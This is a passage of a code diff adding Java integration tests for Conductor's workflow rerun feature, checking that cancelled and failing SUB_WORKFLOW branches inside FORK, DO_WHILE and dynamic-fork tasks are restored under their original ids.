    This test pins the fix's behavior when the cancelled SUB_WORKFLOW sibling appears inside a + * DO_WHILE iteration (a code path the PR's other tests do not exercise). + */ + @Test + @DisplayName( + "PR #3596: Rerun task inside SUB_WORKFLOW nested in FORK-inside-DO_WHILE preserves cancelled SUB_WORKFLOW sibling") + public void testRerunSubWorkflowTaskInsideForkInsideDoWhilePreservesCancelledSibling() { + long stamp = System.currentTimeMillis(); + String parentName = "rerun-dw-fork-parent-" + stamp; + String failingChildName = "rerun-dw-fork-failing-" + stamp; + String cancelledChildName = "rerun-dw-fork-cancelled-" + stamp; + String failingInnerRef = "failing_inner_dw_" + stamp; + String cancelledInnerRef = "cancelled_inner_dw_" + stamp; + String branchARef = "branchA_dw_" + stamp; + String branchBRef = "branchB_dw_" + stamp; + String forkRef = "fork_inside_dw_" + stamp; + String joinRef = "join_inside_dw_" + stamp; + String dwRef = "dw_loop_" + stamp; + + registerWorkflow(failingChildName, List.of(simpleTask(failingInnerRef))); + registerWorkflow(cancelledChildName, List.of(simpleTask(cancelledInnerRef))); + + WorkflowTask fork = + forkJoin( + forkRef, + List.of( + List.of(subWorkflowTask(branchARef, failingChildName)), + List.of(subWorkflowTask(branchBRef, cancelledChildName)))); + WorkflowTask joinTask = join(joinRef, List.of(branchARef, branchBRef)); + + WorkflowTask dw = new WorkflowTask(); + dw.setTaskReferenceName(dwRef); + dw.setName(dwRef); + dw.setWorkflowTaskType(TaskType.DO_WHILE); + // Single iteration: stop after iteration 1 + dw.setLoopCondition("if ($." + dwRef + "['iteration'] < 1) { true; } else { false; }"); + dw.setLoopOver(List.of(fork, joinTask)); + + registerWorkflow(parentName, List.of(dw), 900); + + try { + String parentId = start(parentName); + + // Iteration 1's branch SUB_WORKFLOW tasks must materialize. + // DO_WHILE child task refs in Conductor follow the convention + // __, but we filter loosely on `contains(branchRef)` + // to be robust to convention drift across versions. + String[] failingChildIdHolder = new String[1]; + String[] cancelledChildIdHolder = new String[1]; + + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow parent = workflowClient.getWorkflow(parentId, true); + Task failingBranch = + parent.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() != null + && t.getReferenceTaskName() + .contains( + branchARef) + && t.getSubWorkflowId() + != null) + .findFirst() + .orElse(null); + Task cancelledBranch = + parent.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() != null + && t.getReferenceTaskName() + .contains( + branchBRef) + && t.getSubWorkflowId() + != null) + .findFirst() + .orElse(null); + + assertNotNull( + failingBranch, + "branchA SUB_WORKFLOW task must materialize inside DO_WHILE iteration 1"); + assertNotNull( + cancelledBranch, + "branchB SUB_WORKFLOW task must materialize inside DO_WHILE iteration 1"); + + failingChildIdHolder[0] = failingBranch.getSubWorkflowId(); + cancelledChildIdHolder[0] = cancelledBranch.getSubWorkflowId(); + + // Child workflows must actually have their inner tasks + assertFalse( + workflowClient + .getWorkflow(failingChildIdHolder[0], true) + .getTasks() + .isEmpty(), + "failing child must have its inner task scheduled"); + }); + + String failingChildId = failingChildIdHolder[0]; + String originalCancelledChildId = cancelledChildIdHolder[0]; + + // Fail the inner task in iteration 1's failing branch + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertNotNull( + findActiveTask( + failingChildId, + failingInnerRef, + "failing inner task must be active before failure"), + "failing inner task must be active")); + Task failedInner = + findActiveTask( + failingChildId, failingInnerRef, "failing inner task not active"); + String failedInnerTaskId = failedInner.getTaskId(); + completeTask(failedInner, TaskResult.Status.FAILED); + + // Failure cascades: branchA -> FORK -> DO_WHILE -> parent. branchB CANCELED. + awaitWorkflowStatus( + parentId, + Workflow.WorkflowStatus.FAILED, + 25, + "parent must FAIL after iteration 1 branchA failure cascades through FORK and DO_WHILE"); + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow cancelledChild = + workflowClient.getWorkflow(originalCancelledChildId, true); + assertTrue( + cancelledChild.getStatus().isTerminal() + && !cancelledChild.getStatus().isSuccessful(), + "cancelled branch child must be terminal-unsuccessful, got " + + cancelledChild.getStatus()); + }); + + // === RERUN from the FAILED inner task === + // updateAndPushParents walks from failingChild -> parent. The new branch in + // this PR restores the cancelled SUB_WORKFLOW sibling (branchB) in place. + RerunWorkflowRequest rerun = new RerunWorkflowRequest(); + rerun.setReRunFromWorkflowId(failingChildId); + rerun.setReRunFromTaskId(failedInnerTaskId); + workflowClient.rerunWorkflow(failingChildId, rerun); + + awaitWorkflowStatus( + parentId, + Workflow.WorkflowStatus.RUNNING, + 30, + "parent must be RUNNING after rerun walk-up"); + + // === KEY ASSERTIONS === + // (1) Cancelled branch SUB_WORKFLOW sibling restored in place — same id. + // (2) Resumed cancelled child is non-terminal. + // (3) Failing branch resumed under same id. + await().atMost(25, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow parent = workflowClient.getWorkflow(parentId, true); + + Task cancelledBranchNow = + parent.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() != null + && t.getReferenceTaskName() + .contains( + branchBRef) + && !t.getStatus() + .isTerminal()) + .findFirst() + .orElse(null); + assertNotNull( + cancelledBranchNow, + "An active branchB SUB_WORKFLOW task must exist after rerun walk-up"); + assertEquals( + originalCancelledChildId, + cancelledBranchNow.getSubWorkflowId(), + "branchB subWorkflowId must be PRESERVED (cancelled-sibling fix inside DO_WHILE iteration)"); + + Workflow cancelledChild = + workflowClient.getWorkflow(originalCancelledChildId, true); + assertFalse( + cancelledChild.getStatus().isTerminal(), + "resumed cancelled child must be non-terminal, got " + + cancelledChild.getStatus()); + + Task failingBranchNow = + parent.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() != null + && t.getReferenceTaskName() + .contains( + branchARef) + && !t.getStatus() + .isTerminal()) + .findFirst() + .orElse(null); + assertNotNull( + failingBranchNow, + "An active branchA SUB_WORKFLOW task must exist after rerun"); + assertEquals( + failingChildId, + failingBranchNow.getSubWorkflowId(), + "branchA subWorkflowId must be PRESERVED (in-place rerun on failing child)"); + assertNull( + failingBranchNow.getReasonForIncompletion(), + "branchA reasonForIncompletion must be cleared after walk-up"); + }); + + // Drive both children to completion + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertNotNull( + findActiveTask( + failingChildId, + failingInnerRef, + "rerun must re-activate failing inner task"))); + completeTask( + findActiveTask(failingChildId, failingInnerRef, "failing inner task missing"), + TaskResult.Status.COMPLETED); + + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertNotNull( + findActiveTask( + originalCancelledChildId, + cancelledInnerRef, + "resumed cancelled inner task must become active"))); + completeTask( + findActiveTask( + originalCancelledChildId, + cancelledInnerRef, + "cancelled inner task missing"), + TaskResult.Status.COMPLETED); + + // Single iteration DO_WHILE, so once both branches complete, parent should COMPLETE. + awaitWorkflowStatus( + parentId, + Workflow.WorkflowStatus.COMPLETED, + 60, + "parent should reach COMPLETED after FORK inside DO_WHILE iteration 1 finishes"); + + } finally { + terminateAll(parentName, failingChildName, cancelledChildName); + } + } + + /** + * Exact-shape test: parent v1 = DO_WHILE(number=2) { FORK[sub_workflow_ref_1, sub_workflow_ref] + * -> JOIN }, sub v1 = INLINE inline_ref -> SIMPLE simple_ref. Iter 1 succeeds end-to-end, iter + * 2 branchA SIMPLE fails. Rerun the failed inner task. Asserts: - iter 1 untouched (workflow + + * inline/simple taskIds + endTimes + retryCount) - iter 2 branchB INLINE that was COMPLETED + * before failure stays the same instance - iter 2 branchB SIMPLE restored in place: exactly ONE + * non-terminal instance, no retried=true clone - parent reaches COMPLETED end-to-end + */ + @Test + @DisplayName( + "PR #3596: Rerun iteration 2 failure on exact prod shape: in-place reset on cancelled sibling, iter 1 untouched") + public void testRerunSecondIterationFailureInForkInsideDoWhile() { + long stamp = System.currentTimeMillis(); + String parentName = "parent_rerun_" + stamp; + String childName = "sub_rerun_" + stamp; + try { + registerExactShapeParentAndChild(parentName, childName); + String parentId = start(parentName); + + // Iter 1: complete simple_ref in both branches + String[] iter1A = new String[1]; + String[] iter1B = new String[1]; + await().atMost(20, TimeUnit.SECONDS) + .untilAsserted( + () -> { + iter1A[0] = + subWorkflowIdAtIteration(parentId, "sub_workflow_ref_1", 1); + iter1B[0] = + subWorkflowIdAtIteration(parentId, "sub_workflow_ref", 1); + }); + completeActiveSimpleRef(iter1A[0], TaskResult.Status.COMPLETED); + completeActiveSimpleRef(iter1B[0], TaskResult.Status.COMPLETED); + awaitWorkflowStatus( + iter1A[0], + Workflow.WorkflowStatus.COMPLETED, + 20, + "iter 1 branchA must COMPLETE"); + awaitWorkflowStatus( + iter1B[0], + Workflow.WorkflowStatus.COMPLETED, + 20, + "iter 1 branchB must COMPLETE"); + + RerunIter1Snapshot snapA = snapshotRerunIter1Child(iter1A[0]); + RerunIter1Snapshot snapB = snapshotRerunIter1Child(iter1B[0]); + + // Iter 2: wait for both branches, capture branchB's inline_ref after it auto-completes + String[] iter2A = new String[1]; + String[] iter2B = new String[1]; + await().atMost(20, TimeUnit.SECONDS) + .untilAsserted( + () -> { + iter2A[0] = + subWorkflowIdAtIteration(parentId, "sub_workflow_ref_1", 2); + iter2B[0] = + subWorkflowIdAtIteration(parentId, "sub_workflow_ref", 2); + }); + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Task.Status.COMPLETED, + onlyTaskByRef(iter2B[0], "inline_ref").getStatus())); + Task iter2BInlineBefore = onlyTaskByRef(iter2B[0], "inline_ref"); + + // Fail iter 2 branchA simple_ref + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertNotNull( + findActiveTask( + iter2A[0], + "simple_ref", + "iter 2 branchA simple_ref active"))); + Task failedInner = + findActiveTask(iter2A[0], "simple_ref", "iter 2 branchA simple_ref missing"); + String failedInnerTaskId = failedInner.getTaskId(); + completeTask(failedInner, TaskResult.Status.FAILED); + + awaitWorkflowStatus( + parentId, + Workflow.WorkflowStatus.FAILED, + 30, + "parent must FAIL after iter 2 branchA failure"); + + // ===== Rerun from the failed inner task ===== + RerunWorkflowRequest rerun = new RerunWorkflowRequest(); + rerun.setReRunFromWorkflowId(iter2A[0]); + rerun.setReRunFromTaskId(failedInnerTaskId); + workflowClient.rerunWorkflow(iter2A[0], rerun); + + awaitWorkflowStatus( + parentId, + Workflow.WorkflowStatus.RUNNING, + 30, + "parent must be RUNNING after rerun"); + + // Iter 1 untouched + assertRerunIter1Unchanged(iter1A[0], snapA); + assertRerunIter1Unchanged(iter1B[0], snapB); + + // Iter 2 branchB INLINE preserved + await().atMost(20, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Task inlineAfter = onlyTaskByRef(iter2B[0], "inline_ref"); + assertEquals(Task.Status.COMPLETED, inlineAfter.getStatus()); + assertEquals( + iter2BInlineBefore.getTaskId(), + inlineAfter.getTaskId(), + "iter 2 branchB inline taskId unchanged"); + assertEquals( + iter2BInlineBefore.getEndTime(), + inlineAfter.getEndTime(), + "iter 2 branchB inline endTime unchanged"); + }); + + // Drive iter 2 to completion + completeActiveSimpleRef(iter2A[0], TaskResult.Status.COMPLETED); + completeActiveSimpleRef(iter2B[0], TaskResult.Status.COMPLETED); + awaitWorkflowStatus( + parentId, Workflow.WorkflowStatus.COMPLETED, 30, "parent must reach COMPLETED"); + } finally { + terminateAll(parentName, childName); + } + } + + // ===== Helpers for the exact-shape DO_WHILE-in-FORK rerun test ===== + + private void registerExactShapeParentAndChild(String parentName, String childName) { + TaskDef simpleDef = new TaskDef("simple"); + simpleDef.setRetryCount(0); + simpleDef.setOwnerEmail("test@conductor.io"); + metadataClient.registerTaskDefs(List.of(simpleDef)); + + WorkflowTask inline = new WorkflowTask(); + inline.setName("inline"); + inline.setTaskReferenceName("inline_ref"); + inline.setWorkflowTaskType(TaskType.INLINE); + inline.setInputParameters( + Map.of( + "evaluatorType", + "graaljs", + "expression", + "(function () { return $.value1 + $.value2; })();", + "value1", + 1, + "value2", + 2)); + + WorkflowTask simple = new WorkflowTask(); + simple.setName("simple"); + simple.setTaskReferenceName("simple_ref"); + simple.setTaskDefinition(simpleDef); + simple.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef childDef = new WorkflowDef(); + childDef.setName(childName); + childDef.setOwnerEmail("test@conductor.io"); + childDef.setTimeoutSeconds(600); + childDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + childDef.setTasks(List.of(inline, simple)); + metadataClient.updateWorkflowDefs(List.of(childDef)); + + WorkflowTask branchA = subWorkflowTask("sub_workflow_ref_1", childName); + branchA.setName("sub_workflow_1"); + WorkflowTask branchB = subWorkflowTask("sub_workflow_ref", childName); + branchB.setName("sub_workflow"); + + WorkflowTask fork = forkJoin("fork_ref", List.of(List.of(branchA), List.of(branchB))); + fork.setName("fork"); + WorkflowTask joinTask = join("join_ref", List.of()); + joinTask.setName("join"); + + WorkflowTask dw = new WorkflowTask(); + dw.setName("do_while"); + dw.setTaskReferenceName("do_while_ref"); + dw.setWorkflowTaskType(TaskType.DO_WHILE); + dw.setInputParameters(Map.of("number", 2)); + dw.setLoopCondition( + "(function () { if ($.do_while_ref['iteration'] < $.number) { return true; } return false; })();"); + dw.setLoopOver(List.of(fork, joinTask)); + + WorkflowDef parentDef = new WorkflowDef(); + parentDef.setName(parentName); + parentDef.setOwnerEmail("test@conductor.io"); + parentDef.setTimeoutSeconds(900); + parentDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + parentDef.setTasks(List.of(dw)); + metadataClient.updateWorkflowDefs(java.util.List.of(parentDef)); + } + + private String subWorkflowIdAtIteration(String parentId, String branchRef, int iteration) { + String suffix = "__" + iteration; + Task t = + workflowClient.getWorkflow(parentId, true).getTasks().stream() + .filter( + x -> + (branchRef + suffix).equals(x.getReferenceTaskName()) + && x.getSubWorkflowId() != null) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + branchRef + suffix + " not materialised yet")); + return t.getSubWorkflowId(); + } + + private void completeActiveSimpleRef(String childId, TaskResult.Status status) { + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertNotNull( + findActiveTask( + childId, + "simple_ref", + "simple_ref must be active in " + childId))); + completeTask( + findActiveTask(childId, "simple_ref", "simple_ref missing in " + childId), status); + } + + private Task onlyTaskByRef(String workflowId, String ref) { + List matches = + workflowClient.getWorkflow(workflowId, true).getTasks().stream() + .filter(t -> ref.equals(t.getReferenceTaskName())) + .collect(Collectors.toList()); + assertEquals( + 1, + matches.size(), + "expected exactly one " + ref + " in " + workflowId + ", got " + matches.size()); + return matches.get(0); + } + + private static final class RerunIter1Snapshot { + final long workflowEndTime; + final String inlineTaskId; + final long inlineEndTime; + final String simpleTaskId; + final long simpleEndTime; + final int simpleRetryCount; + + RerunIter1Snapshot(long w, String ii, long ie, String si, long se, int sr) { + workflowEndTime = w; + inlineTaskId = ii; + inlineEndTime = ie; + simpleTaskId = si; + simpleEndTime = se; + simpleRetryCount = sr; + } + } + + private RerunIter1Snapshot snapshotRerunIter1Child(String childId) { + Workflow wf = workflowClient.getWorkflow(childId, true); + Task inline = + wf.getTasks().stream() + .filter(t -> "inline_ref".equals(t.getReferenceTaskName())) + .findFirst() + .orElseThrow(); + Task simple = + wf.getTasks().stream() + .filter(t -> "simple_ref".equals(t.getReferenceTaskName())) + .findFirst() + .orElseThrow(); + return new RerunIter1Snapshot( + wf.getEndTime(), + inline.getTaskId(), + inline.getEndTime(), + simple.getTaskId(), + simple.getEndTime(), + simple.getRetryCount()); + } + + private void assertRerunIter1Unchanged(String childId, RerunIter1Snapshot before) { + Workflow wf = workflowClient.getWorkflow(childId, true); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + wf.getStatus(), + childId + " must stay COMPLETED"); + assertEquals(before.workflowEndTime, wf.getEndTime(), childId + " endTime unchanged"); + Task inline = onlyTaskByRef(childId, "inline_ref"); + Task simple = onlyTaskByRef(childId, "simple_ref"); + assertEquals(before.inlineTaskId, inline.getTaskId(), childId + " inline taskId unchanged"); + assertEquals( + before.inlineEndTime, inline.getEndTime(), childId + " inline endTime unchanged"); + assertEquals(before.simpleTaskId, simple.getTaskId(), childId + " simple taskId unchanged"); + assertEquals( + before.simpleEndTime, simple.getEndTime(), childId + " simple endTime unchanged"); + assertEquals( + before.simpleRetryCount, + simple.getRetryCount(), + childId + " simple retryCount unchanged"); + } + + /** + * FORK_JOIN_DYNAMIC where all branches are SUB_WORKFLOW. One completes, one fails with + * FAILED_WITH_TERMINAL_ERROR, one gets cancelled by the fork. Rerun from the FAILED inner task + * in the failing child. Asserts: - failing branch's child resumed under SAME subWorkflowId + * (walk-up handles it) - cancelled branch's child resumed under SAME subWorkflowId (this PR's + * fix) - completed branch untouched - INLINE in every child preserved (no re-execution of + * completed tasks) + */ + @Test + @DisplayName( + "PR #3596: Rerun failed inner task in FORK_JOIN_DYNAMIC all-SUB_WORKFLOW branches preserves cancelled and failing sibling subWorkflowIds") + public void testRerunInDynamicForkPreservesCancelledAndFailingSiblings() { + long stamp = System.currentTimeMillis(); + String parentName = "parent_dynfork_rerun_" + stamp; + String childName = "sub_dynfork_rerun_" + stamp; + String failingRef = "branch_failing_rerun_" + stamp; + String cancelledRef = "branch_cancelled_rerun_" + stamp; + String completedRef = "branch_completed_rerun_" + stamp; + + try { + registerDynamicForkParentAndChild(parentName, childName); + + String parentId = start(parentName); + + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> findActiveTask(parentId, "prep_ref", "prep_ref must be active")); + completeDynamicForkPrep(parentId, childName, failingRef, cancelledRef, completedRef); + + String[] cF = new String[1]; + String[] cCa = new String[1]; + String[] cCo = new String[1]; + await().atMost(20, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow parent = workflowClient.getWorkflow(parentId, true); + cF[0] = + parent.getTasks().stream() + .filter( + t -> + failingRef.equals( + t + .getReferenceTaskName()) + && t.getSubWorkflowId() + != null) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + failingRef + + " not materialised")) + .getSubWorkflowId(); + cCa[0] = + parent.getTasks().stream() + .filter( + t -> + cancelledRef.equals( + t + .getReferenceTaskName()) + && t.getSubWorkflowId() + != null) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + cancelledRef + + " not materialised")) + .getSubWorkflowId(); + cCo[0] = + parent.getTasks().stream() + .filter( + t -> + completedRef.equals( + t + .getReferenceTaskName()) + && t.getSubWorkflowId() + != null) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + completedRef + + " not materialised")) + .getSubWorkflowId(); + }); + String failingChildId = cF[0]; + String cancelledChildId = cCa[0]; + String completedChildId = cCo[0]; + + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> + findActiveTask( + completedChildId, + "simple_ref", + "completed branch simple_ref must be active")); + completeTask( + findActiveTask( + completedChildId, + "simple_ref", + "completed branch simple_ref must be active"), + TaskResult.Status.COMPLETED); + awaitWorkflowStatus( + completedChildId, + Workflow.WorkflowStatus.COMPLETED, + 15, + "completed branch must reach COMPLETED"); + + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> + findActiveTask( + failingChildId, + "simple_ref", + "failing branch simple_ref must be active")); + Task failedInner = + findActiveTask( + failingChildId, "simple_ref", "failing branch simple_ref missing"); + String failedInnerTaskId = failedInner.getTaskId(); + completeTask(failedInner, TaskResult.Status.FAILED_WITH_TERMINAL_ERROR); + + awaitWorkflowStatus( + parentId, + Workflow.WorkflowStatus.FAILED, + 30, + "parent must FAIL after dynamic-fork branch terminal failure"); + + // Snapshot INLINE in every child to prove no re-execution after rerun + Task inlineF = onlyTaskByRef(failingChildId, "inline_ref"); + Task inlineCa = onlyTaskByRef(cancelledChildId, "inline_ref"); + Task inlineCo = onlyTaskByRef(completedChildId, "inline_ref"); + + // === Rerun from the failed inner task === + RerunWorkflowRequest rerun = new RerunWorkflowRequest(); + rerun.setReRunFromWorkflowId(failingChildId); + rerun.setReRunFromTaskId(failedInnerTaskId); + workflowClient.rerunWorkflow(failingChildId, rerun); + + awaitWorkflowStatus( + parentId, + Workflow.WorkflowStatus.RUNNING, + 30, + "parent must be RUNNING after rerun"); + + await().atMost(25, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow parent = workflowClient.getWorkflow(parentId, true); + + Task failingNow = + parent.getTasks().stream() + .filter( + t -> + failingRef.equals( + t + .getReferenceTaskName()) + && !t.getStatus() + .isTerminal()) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "active " + + failingRef + + " missing")); + assertEquals( + failingChildId, + failingNow.getSubWorkflowId(), + "failing branch subWorkflowId must be PRESERVED"); + + Task cancelledNow = + parent.getTasks().stream() + .filter( + t -> + cancelledRef.equals( + t + .getReferenceTaskName()) + && !t.getStatus() + .isTerminal()) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "active " + + cancelledRef + + " missing")); + assertEquals( + cancelledChildId, + cancelledNow.getSubWorkflowId(), + "cancelled branch subWorkflowId must be PRESERVED (cancelled-sibling fix)"); + + Task completedNow = + parent.getTasks().stream() + .filter( + t -> + completedRef.equals( + t + .getReferenceTaskName()) + && t.getStatus() + == Task.Status + .COMPLETED) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "completed " + + completedRef + + " missing")); + assertEquals( + completedChildId, + completedNow.getSubWorkflowId(), + "completed branch subWorkflowId must be UNCHANGED"); + + // INLINE inside each child must keep its taskId + endTime (no + // re-execution) + Task inlineFAfter = onlyTaskByRef(failingChildId, "inline_ref"); + Task inlineCaAfter = onlyTaskByRef(cancelledChildId, "inline_ref"); + Task inlineCoAfter = onlyTaskByRef(completedChildId, "inline_ref"); + assertEquals( + inlineF.getTaskId(), + inlineFAfter.getTaskId(), + "failing inline taskId unchanged"); + assertEquals( + inlineF.getEndTime(), + inlineFAfter.getEndTime(), + "failing inline endTime unchanged"); + assertEquals( + inlineCa.getTaskId(), + inlineCaAfter.getTaskId(), + "cancelled inline taskId unchanged"); + assertEquals( + inlineCa.getEndTime(), + inlineCaAfter.getEndTime(), + "cancelled inline endTime unchanged"); + assertEquals( + inlineCo.getTaskId(), + inlineCoAfter.getTaskId(), + "completed inline taskId unchanged"); + assertEquals( + inlineCo.getEndTime(), + inlineCoAfter.getEndTime(), + "completed inline endTime unchanged"); + }); + + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> + findActiveTask( + failingChildId, + "simple_ref", + "failing simple_ref must be active after rerun")); + completeTask( + findActiveTask(failingChildId, "simple_ref", "failing simple_ref missing"), + TaskResult.Status.COMPLETED); + + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> + findActiveTask( + cancelledChildId, + "simple_ref", + "cancelled simple_ref must be active after rerun")); + completeTask( + findActiveTask(cancelledChildId, "simple_ref", "cancelled simple_ref missing"), + TaskResult.Status.COMPLETED); + + awaitWorkflowStatus( + parentId, + Workflow.WorkflowStatus.COMPLETED, + 30, + "parent must reach COMPLETED end-to-end"); + } finally { + terminateAll(parentName, childName); + } + } + + private void registerDynamicForkParentAndChild(String parentName, String childName) { + TaskDef simpleDef = new TaskDef("simple"); + simpleDef.setRetryCount(0); + simpleDef.setOwnerEmail("test@conductor.io"); + + TaskDef prepDef = new TaskDef("dynfork_prep"); + prepDef.setRetryCount(0); + prepDef.setOwnerEmail("test@conductor.io"); + + metadataClient.registerTaskDefs(List.of(simpleDef, prepDef)); + + WorkflowTask inline = new WorkflowTask(); + inline.setName("inline"); + inline.setTaskReferenceName("inline_ref"); + inline.setWorkflowTaskType(TaskType.INLINE); + inline.setInputParameters( + Map.of( + "evaluatorType", + "graaljs", + "expression", + "(function () { return $.value1 + $.value2; })();", + "value1", + 1, + "value2", + 2)); + + WorkflowTask simple = new WorkflowTask(); + simple.setName("simple"); + simple.setTaskReferenceName("simple_ref"); + simple.setTaskDefinition(simpleDef); + simple.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef childDef = new WorkflowDef(); + childDef.setName(childName); + childDef.setOwnerEmail("test@conductor.io"); + childDef.setTimeoutSeconds(600); + childDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + childDef.setTasks(List.of(inline, simple)); + metadataClient.updateWorkflowDefs(List.of(childDef)); + + WorkflowTask prep = new WorkflowTask(); + prep.setName("dynfork_prep"); + prep.setTaskReferenceName("prep_ref"); + prep.setTaskDefinition(prepDef); + prep.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask dynFork = new WorkflowTask(); + dynFork.setName("dyn_fork"); + dynFork.setTaskReferenceName("dyn_fork_ref"); + dynFork.setWorkflowTaskType(TaskType.FORK_JOIN_DYNAMIC); + dynFork.setInputParameters( + Map.of( + "dynamicTasks", "${prep_ref.output.dynamicTasks}", + "dynamicTasksInput", "${prep_ref.output.dynamicTasksInput}")); + dynFork.setDynamicForkTasksParam("dynamicTasks"); + dynFork.setDynamicForkTasksInputParamName("dynamicTasksInput"); + + WorkflowTask joinTask = new WorkflowTask(); + joinTask.setName("dyn_join"); + joinTask.setTaskReferenceName("dyn_join_ref"); + joinTask.setWorkflowTaskType(TaskType.JOIN); + + WorkflowDef parentDef = new WorkflowDef(); + parentDef.setName(parentName); + parentDef.setOwnerEmail("test@conductor.io"); + parentDef.setTimeoutSeconds(900); + parentDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + parentDef.setTasks(List.of(prep, dynFork, joinTask)); + metadataClient.updateWorkflowDefs(List.of(parentDef)); + } + + private void completeDynamicForkPrep( + String parentId, + String childName, + String failingRef, + String cancelledRef, + String completedRef) { + Map output = new HashMap<>(); + output.put( + "dynamicTasks", + List.of( + buildDynamicSubWorkflowTask(failingRef, childName), + buildDynamicSubWorkflowTask(cancelledRef, childName), + buildDynamicSubWorkflowTask(completedRef, childName))); + output.put( + "dynamicTasksInput", + Map.of( + failingRef, Map.of(), + cancelledRef, Map.of(), + completedRef, Map.of())); + + Task prep = findActiveTask(parentId, "prep_ref", "prep_ref must be active"); + TaskResult tr = new TaskResult(); + tr.setWorkflowInstanceId(parentId); + tr.setTaskId(prep.getTaskId()); + tr.setStatus(TaskResult.Status.COMPLETED); + tr.setOutputData(output); + taskClient.updateTask(tr); + } + + private WorkflowTask buildDynamicSubWorkflowTask(String ref, String childWorkflowName) { + WorkflowTask t = new WorkflowTask(); + t.setName(childWorkflowName); + t.setTaskReferenceName(ref); + t.setType(TaskType.SUB_WORKFLOW.name()); + SubWorkflowParams params = new SubWorkflowParams(); + params.setName(childWorkflowName); + params.setVersion(1); + t.setSubWorkflowParam(params); + return t; + } + + /** + * Rerun from the FORK_JOIN_DYNAMIC task itself (not from any branch). + * handleForkJoinDynamicTaskRerun removes existing branch tasks and re-schedules fresh ones from + * the same dynamicTasks input — so all 3 branches must be re-spawned with new subWorkflowIds. + * Verifies the dynamic-fork rerun path produces three new sub-workflows, regardless of the + * previous branches' terminal status. + */ + @Test + @DisplayName( + "PR #3596: Rerun from the FORK_JOIN_DYNAMIC task itself re-spawns the three SUB_WORKFLOW branches with fresh ids") + public void testRerunFromDynamicForkTaskItselfRespawnsAllBranches() { + long stamp = System.currentTimeMillis(); + String parentName = "parent_dynfork_self_" + stamp; + String childName = "sub_dynfork_self_" + stamp; + String failingRef = "branch_failing_self_" + stamp; + String cancelledRef = "branch_cancelled_self_" + stamp; + String completedRef = "branch_completed_self_" + stamp; + + try { + registerDynamicForkParentAndChild(parentName, childName); + String parentId = start(parentName); + + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> findActiveTask(parentId, "prep_ref", "prep_ref must be active")); + completeDynamicForkPrep(parentId, childName, failingRef, cancelledRef, completedRef); + + // Wait for the 3 dynamic branches to materialise + String[] cF = new String[1]; + String[] cCa = new String[1]; + String[] cCo = new String[1]; + await().atMost(20, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow parent = workflowClient.getWorkflow(parentId, true); + cF[0] = + parent.getTasks().stream() + .filter( + t -> + failingRef.equals( + t + .getReferenceTaskName()) + && t.getSubWorkflowId() + != null) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + failingRef + + " branch not yet started")) + .getSubWorkflowId(); + cCa[0] = + parent.getTasks().stream() + .filter( + t -> + cancelledRef.equals( + t + .getReferenceTaskName()) + && t.getSubWorkflowId() + != null) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + cancelledRef + + " branch not yet started")) + .getSubWorkflowId(); + cCo[0] = + parent.getTasks().stream() + .filter( + t -> + completedRef.equals( + t + .getReferenceTaskName()) + && t.getSubWorkflowId() + != null) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + completedRef + + " branch not yet started")) + .getSubWorkflowId(); + }); + String originalFailingChildId = cF[0]; + String originalCancelledChildId = cCa[0]; + String originalCompletedChildId = cCo[0]; + + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> + findActiveTask( + originalCompletedChildId, + "simple_ref", + "completed simple_ref must be active")); + completeTask( + findActiveTask( + originalCompletedChildId, + "simple_ref", + "completed simple_ref must be active"), + TaskResult.Status.COMPLETED); + awaitWorkflowStatus( + originalCompletedChildId, + Workflow.WorkflowStatus.COMPLETED, + 15, + "completed branch must reach COMPLETED"); + + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> + findActiveTask( + originalFailingChildId, + "simple_ref", + "failing simple_ref must be active")); + completeTask( + findActiveTask( + originalFailingChildId, "simple_ref", "failing simple_ref missing"), + TaskResult.Status.FAILED_WITH_TERMINAL_ERROR); + + awaitWorkflowStatus( + parentId, Workflow.WorkflowStatus.FAILED, 30, "parent must FAIL before rerun"); + + // === Rerun from the dynamic-fork task itself === + Task dynForkTask = + 